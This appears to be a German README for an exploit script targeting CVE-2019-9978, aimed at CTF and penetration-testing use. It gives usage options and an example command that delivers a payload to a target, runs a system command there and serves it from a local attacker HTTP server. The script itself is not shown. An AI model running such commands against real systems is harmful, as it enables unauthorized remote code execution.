cve-2019-9978

Dies ist ein Skript, das die Ausnutzung der Sicherheitslücke CVE-2019-9978 auf unkomplizierte Weise ermöglicht. Es ist für den Einsatz in Capture-The-Flag (CTF)-Herausforderungen oder als Proof-of-Concept für Penetrationstests gedacht.

Voraussetzungen

• Python 3
• Requests-Bibliothek (Installation mit pip install requests)

Verwendung

1. Klonen oder laden Sie dieses Repository herunter.
2. Öffnen Sie ein Terminal und navigieren Sie zum Verzeichnis des Skripts.
3. Führen Sie das Skript mit den folgenden Optionen aus:

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).

4. Das Skript startet einen HTTP-Server, sendet die Nutzlast an das Ziel und zeigt das Ergebnis im Terminal an.

Beispiel

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

Haftungsausschluss

Dieser Code dient ausschließlich zu Bildungs- und Testzwecken. Die unbefugte Nutzung auf Systemen ohne entsprechende Genehmigung ist illegal und unethisch. Verwenden Sie ihn verantwortungsbewusst.